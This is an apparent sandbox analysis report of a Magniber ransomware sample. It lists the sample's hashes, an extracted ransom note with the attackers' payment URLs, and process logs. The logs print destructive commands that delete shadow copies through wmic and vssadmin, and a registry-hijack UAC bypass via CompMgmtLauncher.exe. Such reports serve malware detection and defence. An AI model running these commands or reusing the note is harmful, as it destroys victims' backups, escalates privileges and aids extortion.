Analysis
-
max time kernel
120s -
max time network
149s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
25-12-2021 15:50
Static task
static1
Behavioral task
behavioral1
Sample
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll
-
Size
39KB
-
MD5
08fa10ed5b28440cd9e7074a546685c5
-
SHA1
20b6919c09bae54384c84eb92d65bb8f43a8676e
-
SHA256
b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead
-
SHA512
2688a37821463651fc2def76010d7f64a81899d54ddcfc8c1007ac0d69edc77b0cf0078a6fbc4ba316c7f6fd9831758c497f0f68164ba60cadd596901c983319
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://5a18de6078143ce00xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://5a18de6078143ce00xtirqgc.mensell.uno/xtirqgc
http://5a18de6078143ce00xtirqgc.forrain.fit/xtirqgc
http://5a18de6078143ce00xtirqgc.dayeven.space/xtirqgc
http://5a18de6078143ce00xtirqgc.luckymy.quest/xtirqgc
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://5a18de6078143ce00xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc
http://5a18de6078143ce00xtirqgc.mensell.uno/xtirqgc
http://5a18de6078143ce00xtirqgc.forrain.fit/xtirqgc
http://5a18de6078143ce00xtirqgc.dayeven.space/xtirqgc
http://5a18de6078143ce00xtirqgc.luckymy.quest/xtirqgc
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1680 1764 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 568 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1660 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1768 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1668 1764 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2208 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2368 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2384 1764 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2540 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2684 1764 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2736 1764 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2868 1764 vssadmin.exe 37 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\AddDeny.tiff => C:\Users\Admin\Pictures\AddDeny.tiff.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\CheckpointResolve.tiff => C:\Users\Admin\Pictures\CheckpointResolve.tiff.xtirqgc Explorer.EXE File opened for modification C:\Users\Admin\Pictures\CompleteTrace.tiff Explorer.EXE File renamed C:\Users\Admin\Pictures\ResolveNew.tif => C:\Users\Admin\Pictures\ResolveNew.tif.xtirqgc Explorer.EXE File opened for modification C:\Users\Admin\Pictures\UnprotectReset.tiff Explorer.EXE File renamed C:\Users\Admin\Pictures\PingApprove.crw => C:\Users\Admin\Pictures\PingApprove.crw.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\SubmitCopy.crw => C:\Users\Admin\Pictures\SubmitCopy.crw.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\UnprotectReset.tiff => C:\Users\Admin\Pictures\UnprotectReset.tiff.xtirqgc Explorer.EXE File opened for modification C:\Users\Admin\Pictures\CheckpointResolve.tiff Explorer.EXE File renamed C:\Users\Admin\Pictures\CompleteTrace.tiff => C:\Users\Admin\Pictures\CompleteTrace.tiff.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\ConnectClose.png => C:\Users\Admin\Pictures\ConnectClose.png.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\MoveAdd.raw => C:\Users\Admin\Pictures\MoveAdd.raw.xtirqgc Explorer.EXE File renamed C:\Users\Admin\Pictures\WatchClose.raw => C:\Users\Admin\Pictures\WatchClose.raw.xtirqgc Explorer.EXE File opened for modification C:\Users\Admin\Pictures\AddDeny.tiff Explorer.EXE -
Generic Ransomware Note 7 IoCs
Ransomware often writes a note containing information on how to pay the ransom.
resource yara_rule generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note generic_ransomware_note behavioral1/files/0x000600000001265d-70.dat generic_ransomware_note -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1908 set thread context of 1248 1908 rundll32.exe 14 PID 1908 set thread context of 1356 1908 rundll32.exe 13 PID 1908 set thread context of 1412 1908 rundll32.exe 12 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2208 vssadmin.exe 2368 vssadmin.exe 2540 vssadmin.exe 2684 vssadmin.exe 2868 vssadmin.exe 568 vssadmin.exe 1660 vssadmin.exe 1768 vssadmin.exe -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc92000000000200000000001066000000010000200000000d55d61641b5d09a1b8b2b72625c251ae8d837dff533904de851dbe2b3ad79c8000000000e800000000200002000000004f9385b877a25b5157ead3242c9e5e7d72266b6a45c28f92ae1d45bb3f63526900000000c69ed96a794d0325c1efe57bc91bda114ee2a4fc1413b6f5eb112289ea7cca020b838c400ca03245e994fd950ea15d2eff06a012d8a36c168ab76d74fce68c8e21c2e91cd5ef6d0afee03ced43395eea151c2cb4b3eeb78a35258036548e157cc699abbe1774626c0ec530b6f59578a77862d1c63a1010b312f18a0dab86202664320db3b3be451d273e6de6899b8674000000010cd8cc6bd819d00b0c934acc194a9007bbe8d66c2e872b4ceb0d2b116c4ade6a84ea7523eb780069058f22ec279b97823b629fe05124716529f2aa070cbbec6 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7E616DB1-659A-11EC-94AA-F2153E37317C} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20386158a7f9d701 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc92000000000200000000001066000000010000200000008955b243ca6fe220a13481064216baa5a78abe03561e86c2dd67d6092214e849000000000e80000000020000200000006a679d223c81a4a3da46a07d2aac13b20efcd57979b0df9452fd06d38fbd6bac20000000aa863b15b40d8c472544c73f4adf99c04d7d73ae1a2a4a813f32ff2e447b4ce740000000685329fafd3064fee2c2d6e51bd7d9ad13fe060372774b7c32c82830f72399ade5ca9ed2b576deb4ce80f8f5b4c696c398f5e5a309a562ecd48fd59242b56284 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "347212453" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\mscfile\shell\open Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1072 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1908 rundll32.exe 1908 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1412 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1908 rundll32.exe 1908 rundll32.exe 1908 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1412 Explorer.EXE Token: SeShutdownPrivilege 1412 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1848 wmic.exe Token: SeSecurityPrivilege 1848 wmic.exe Token: SeTakeOwnershipPrivilege 1848 wmic.exe Token: SeLoadDriverPrivilege 1848 wmic.exe Token: SeSystemProfilePrivilege 1848 wmic.exe Token: SeSystemtimePrivilege 1848 wmic.exe Token: SeProfSingleProcessPrivilege 1848 wmic.exe Token: SeIncBasePriorityPrivilege 1848 wmic.exe Token: SeCreatePagefilePrivilege 1848 wmic.exe Token: SeBackupPrivilege 1848 wmic.exe Token: SeRestorePrivilege 1848 wmic.exe Token: SeShutdownPrivilege 1848 wmic.exe Token: SeDebugPrivilege 1848 wmic.exe Token: SeSystemEnvironmentPrivilege 1848 wmic.exe Token: SeRemoteShutdownPrivilege 1848 wmic.exe Token: SeUndockPrivilege 1848 wmic.exe Token: SeManageVolumePrivilege 1848 wmic.exe Token: 33 1848 wmic.exe Token: 34 1848 wmic.exe Token: 35 1848 wmic.exe Token: SeShutdownPrivilege 1412 Explorer.EXE Token: SeShutdownPrivilege 1412 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1848 wmic.exe Token: SeSecurityPrivilege 1848 wmic.exe Token: SeTakeOwnershipPrivilege 1848 wmic.exe Token: SeLoadDriverPrivilege 1848 wmic.exe Token: SeSystemProfilePrivilege 1848 wmic.exe Token: SeSystemtimePrivilege 1848 wmic.exe Token: SeProfSingleProcessPrivilege 1848 wmic.exe Token: SeIncBasePriorityPrivilege 1848 wmic.exe Token: SeCreatePagefilePrivilege 1848 wmic.exe Token: SeBackupPrivilege 1848 wmic.exe Token: SeRestorePrivilege 1848 wmic.exe Token: SeShutdownPrivilege 1848 wmic.exe Token: SeDebugPrivilege 1848 wmic.exe Token: SeSystemEnvironmentPrivilege 1848 wmic.exe Token: SeRemoteShutdownPrivilege 1848 wmic.exe Token: SeUndockPrivilege 1848 wmic.exe Token: SeManageVolumePrivilege 1848 wmic.exe Token: 33 1848 wmic.exe Token: 34 1848 wmic.exe Token: 35 1848 wmic.exe Token: SeIncreaseQuotaPrivilege 2032 WMIC.exe Token: SeSecurityPrivilege 2032 WMIC.exe Token: SeTakeOwnershipPrivilege 2032 WMIC.exe Token: SeLoadDriverPrivilege 2032 WMIC.exe Token: SeSystemProfilePrivilege 2032 WMIC.exe Token: SeSystemtimePrivilege 2032 WMIC.exe Token: SeProfSingleProcessPrivilege 2032 WMIC.exe Token: SeIncBasePriorityPrivilege 2032 WMIC.exe Token: SeCreatePagefilePrivilege 2032 WMIC.exe Token: SeBackupPrivilege 2032 WMIC.exe Token: SeRestorePrivilege 2032 WMIC.exe Token: SeShutdownPrivilege 2032 WMIC.exe Token: SeDebugPrivilege 2032 WMIC.exe Token: SeSystemEnvironmentPrivilege 2032 WMIC.exe Token: SeRemoteShutdownPrivilege 2032 WMIC.exe Token: SeUndockPrivilege 2032 WMIC.exe Token: SeManageVolumePrivilege 2032 WMIC.exe Token: 33 2032 WMIC.exe Token: 34 2032 WMIC.exe Token: 35 2032 WMIC.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2012 iexplore.exe 1412 Explorer.EXE 1412 Explorer.EXE -
Suspicious use of SendNotifyMessage 37 IoCs
pid Process 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE 1412 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2012 iexplore.exe 2012 iexplore.exe 572 IEXPLORE.EXE 572 IEXPLORE.EXE 572 IEXPLORE.EXE 572 IEXPLORE.EXE -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 1412 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1412 wrote to memory of 1072 1412 Explorer.EXE 27 PID 1412 wrote to memory of 1072 1412 Explorer.EXE 27 PID 1412 wrote to memory of 1072 1412 Explorer.EXE 27 PID 1412 wrote to memory of 964 1412 Explorer.EXE 29 PID 1412 wrote to memory of 964 1412 Explorer.EXE 29 PID 1412 wrote to memory of 964 1412 Explorer.EXE 29 PID 1412 wrote to memory of 1848 1412 Explorer.EXE 30 PID 1412 wrote to memory of 1848 1412 Explorer.EXE 30 PID 1412 wrote to memory of 1848 1412 Explorer.EXE 30 PID 1412 wrote to memory of 1000 1412 Explorer.EXE 31 PID 1412 wrote to memory of 1000 1412 Explorer.EXE 31 PID 1412 wrote to memory of 1000 1412 Explorer.EXE 31 PID 1000 wrote to memory of 2032 1000 cmd.exe 35 PID 1000 wrote to memory of 2032 1000 cmd.exe 35 PID 1000 wrote to memory of 2032 1000 cmd.exe 35 PID 964 wrote to memory of 2012 964 cmd.exe 36 PID 964 wrote to memory of 2012 964 cmd.exe 36 PID 964 wrote to memory of 2012 964 cmd.exe 36 PID 1680 wrote to memory of 1560 1680 cmd.exe 42 PID 1680 wrote to memory of 1560 1680 cmd.exe 42 PID 1680 wrote to memory of 1560 1680 cmd.exe 42 PID 1560 wrote to memory of 1476 1560 CompMgmtLauncher.exe 46 PID 1560 wrote to memory of 1476 1560 CompMgmtLauncher.exe 46 PID 1560 wrote to memory of 1476 1560 CompMgmtLauncher.exe 46 PID 2012 wrote to memory of 572 2012 iexplore.exe 48 PID 2012 wrote to memory of 572 2012 iexplore.exe 48 PID 2012 wrote to memory of 572 2012 iexplore.exe 48 PID 2012 wrote to memory of 572 2012 iexplore.exe 48 PID 1356 wrote to memory of 208 1356 Dwm.exe 52 PID 1356 wrote to memory of 208 1356 Dwm.exe 52 PID 1356 wrote to memory of 208 1356 Dwm.exe 52 PID 1356 wrote to memory of 220 1356 Dwm.exe 54 PID 1356 wrote to memory of 220 1356 Dwm.exe 54 PID 1356 wrote to memory of 220 1356 Dwm.exe 54 PID 220 wrote to memory of 568 220 cmd.exe 56 PID 220 wrote to memory of 568 220 cmd.exe 56 PID 220 wrote to memory of 568 220 cmd.exe 56 PID 1668 wrote to memory of 2092 1668 cmd.exe 61 PID 1668 wrote to memory of 2092 1668 cmd.exe 61 PID 1668 wrote to memory of 2092 1668 cmd.exe 61 PID 2092 wrote to memory of 2136 2092 CompMgmtLauncher.exe 62 PID 2092 wrote to memory of 2136 2092 CompMgmtLauncher.exe 62 PID 2092 wrote to memory of 2136 2092 CompMgmtLauncher.exe 62 PID 1908 wrote to memory of 2256 1908 rundll32.exe 66 PID 1908 wrote to memory of 2256 1908 rundll32.exe 66 PID 1908 wrote to memory of 2256 1908 rundll32.exe 66 PID 1908 wrote to memory of 2268 1908 rundll32.exe 67 PID 1908 wrote to memory of 2268 1908 rundll32.exe 67 PID 1908 wrote to memory of 2268 1908 rundll32.exe 67 PID 2268 wrote to memory of 2316 2268 cmd.exe 70 PID 2268 wrote to memory of 2316 2268 cmd.exe 70 PID 2268 wrote to memory of 2316 2268 cmd.exe 70 PID 2384 wrote to memory of 2432 2384 cmd.exe 75 PID 2384 wrote to memory of 2432 2384 cmd.exe 75 PID 2384 wrote to memory of 2432 2384 cmd.exe 75 PID 2432 wrote to memory of 2488 2432 CompMgmtLauncher.exe 76 PID 2432 wrote to memory of 2488 2432 CompMgmtLauncher.exe 76 PID 2432 wrote to memory of 2488 2432 CompMgmtLauncher.exe 76 PID 1248 wrote to memory of 2588 1248 taskhost.exe 80 PID 1248 wrote to memory of 2588 1248 taskhost.exe 80 PID 1248 wrote to memory of 2588 1248 taskhost.exe 80 PID 1248 wrote to memory of 2600 1248 taskhost.exe 81 PID 1248 wrote to memory of 2600 1248 taskhost.exe 81 PID 1248 wrote to memory of 2600 1248 taskhost.exe 81
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2256
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:2316
-
-
-
-
C:\Windows\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1072
-
-
C:\Windows\system32\cmd.execmd /c "start http://5a18de6078143ce00xtirqgc.mensell.uno/xtirqgc^&1^&44838943^&84^&375^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://5a18de6078143ce00xtirqgc.mensell.uno/xtirqgc&1&44838943&84&375&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2012 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:572
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:208
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:568
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:2588
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵PID:2600
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:2664
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1476
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:568
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1596
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1660
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1768
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
